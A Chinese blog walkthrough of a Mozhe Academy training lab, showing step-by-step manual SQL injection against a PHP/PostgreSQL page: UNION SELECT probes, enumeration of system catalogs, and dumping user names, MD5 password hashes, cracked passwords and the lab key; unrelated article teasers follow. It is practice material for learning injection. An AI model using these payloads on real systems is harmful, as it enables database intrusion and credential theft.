SQL手工注入漏洞测试(PostgreSQL数据库)-墨者

news/2024/7/9 23:17:23 标签: 数据库, sql, postgresql

———靶场专栏———


声明:文章由作者weoptions学习或练习过程中的步骤及思路,非正式答案,仅供学习和参考。

靶场背景:

来源:

        墨者学院

简介:

        安全工程师"墨者"最近在练习SQL手工注入漏洞,自己刚搭建好一个靶场环境Nginx+PHP+PostgreSQL,PHP代码对客户端提交的参数未做任何过滤。尽情的练习SQL手工注入吧。

实训目标:

1.掌握SQL注入原理;
2.了解手工注入的方法;
3.了解PostgreSQL的数据结构;
4.了解字符串的MD5加解密;

解题方向:

        手工进行SQL注入测试,获取管理密码登录。


解题思路:

        postgreSQL和mysql语法和数据库结构上有区别,但整体思路区别不大。

还是熟悉的管理系统登陆界面,还是熟悉的平台停机维护通知。


解题步骤:

        

        一、验证注入点

http://124.70.71.251:41459/new_list.php?id=1 and 1=1

页面显示正常

报错一下看看

http://124.70.71.251:41459/new_list.php?id=1 and 1=2

ok,那注入点就是在这里了。


        二、order by猜列

确定了,四个字段。


        三、测试回显

用select语句测一下回显。跟mysql有些不一样,postgreSQL是用null来测试回显点的。

http://124.70.71.251:41459/new_list.php?id=1 and 1=2 union select null,null,null,null

依次给每个null加上单引号。

http://124.70.71.251:41459/new_list.php?id=1 and 1=2 union select null,'null','null',null

第二个和第三个位置有回显,接下来进行注入。


        四、数据库信息获取

version()数据库版本

http://124.70.71.251:41459/new_list.php?id=1 and 1=2 union select null,null,version(),null

PostgreSQL 9.5.13 on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 5.4.0-6ubuntu1~16.04.9) 5.4.0 20160609, 64-bit

current_user数据库用户

http://124.70.71.251:41459/new_list.php?id=1 and 1=2 union select null,null,current_user,null

postgres

current_database()数据库

http://124.70.71.251:41459/new_list.php?id=1 and 1=2 union select null,null,current_database(),null

mozhedvcms


        五、查数据

①查数据库

http://124.70.71.251:41459/new_list.php?id=1 and 1=2 union select null,null,string_agg(datname,','),null from pg_database

template1,template0,postgres,mozhedvcms

②查表名

http://124.70.71.251:41459/new_list.php?id=1 and 1=2 union select null,null,string_agg(tablename,','),null from pg_tables where schemaname='public'
http://124.70.71.251:41459/new_list.php?id=1 and 1=2 union select null,null,string_agg(relname,','),null from pg_stat_user_tables

notice,reg_users

③查列名

http://124.70.71.251:41459/new_list.php?id=1 and 1=2 union select null,null,string_agg(column_name,','),null from information_schema.columns where table_name='reg_users'

id,name,password,status

④查数据

http://124.70.71.251:41459/new_list.php?id=1 and 1=2 union select null,string_agg(name,','),string_agg(password,','),null from reg_users

六、MD5解密登陆

(1)mozhe1,085631f437f337ecbb741d2d9bb73b7d(544041)

(2)mozhe2,1c63129ae9db9c60c3e8aa94d3e00495(1qaz2wsx)

mozhe1成功登陆,KEY:mozhe2cf8a74af7074d9688e835190f9


总结:

        难度:★★☆☆☆☆☆☆☆☆

        分析:

        很难评价,直接就把不熟练写在了脸上了,而且原理还是很模糊。



http://www.niftyadmin.cn/n/5237530.html

相关文章

面试必会-JAVA基础篇-02

文章目录 11. ArrayList 和 LinkedList 的区别是什么?12. 说一下HashMap的实现原理?13. HashMap的put方法的具体流程?14. 讲一讲HashMap的扩容机制15. ConcurrentHashMap 底层具体实现知道吗?16. 创建线程的四种方式17. runnable …

【矩阵论】Chapter 4—特征值和特征向量知识点总结复习

文章目录 1 特征值和特征向量2 对角化3 Schur定理和正规矩阵 1 特征值和特征向量 定义 设 σ \sigma σ为数域 F F F上线性空间 V V V上的一个线性变换,一个非零向量 v ∈ V v\in V v∈V,如果存在一个 λ ∈ F \lambda \in F λ∈F使得 σ ( v ) λ v \…

日期类 - Java

知道怎么查,怎么用即可,不用每个方法都背 日期类 第一代日期类方法演示 第二代日期类方法演示 第三代日期类前面两代日期类的不足分析第三代日期类常见方法方法演示 第一代日期类 Date类:精确到毫秒,代表特定的瞬间SimpleDateFor…

ArkUI组件--Button组件

1.声明Button组件 Button(label?:ResourceStr) #label是按钮上显示的文本 ①label是文字类型 所写文字会在按钮上显示 ②不输入label内容,需要额外定义一些描述。例如插入图片(需要定义图片属性) Button(){Image($r(app.media.xxx)).wi…

专业爬虫框架 -- scrapy初识及基本应用

scrapy基本介绍 Scrapy一个开源和协作的框架,其最初是为了页面抓取 (更确切来说, 网络抓取 )所设计的,使用它可以以快速、简单、可扩展的方式从网站中提取所需的数据。 但目前Scrapy的用途十分广泛,可用于如数据挖掘、监测和自动化测试等领域…

为什么Nginx被称为反向代理

下图显示了 𝐟𝐨𝐫𝐰𝐚𝐫𝐝 𝐩𝐫𝐨𝐱𝐲 和 𝐫𝐞𝐯𝐞𝐫𝐬&#…

Cpp之旅(学习笔记)第9章 标准库

C之旅(学习笔记)第9章 标准库 当无知稍纵即逝时,又何必浪费时间学习呢? ——霍布斯 9.1 引言 第9~18章将对重要的标准库工具和方法给出一个概要性的介绍。如:string、ostream、variant、vector、map、path、unique_p…

前缀和例题:子矩阵的和AcWing796-Java版

//前缀和模板提,在读入数据的时候就可以先算好前缀和的大小 //计算前缀的时候用:g[i][j] g[i][j-1] g[i-1][j] - g[i-1][j-1] Integer.parseInt(init[j-1]); //计算结果的时候用:g[x2][y2] - g[x1 - 1][y2]- g[x2][y1-1] g[x1 -1][y1 - 1] "\n" //一些重复加的地…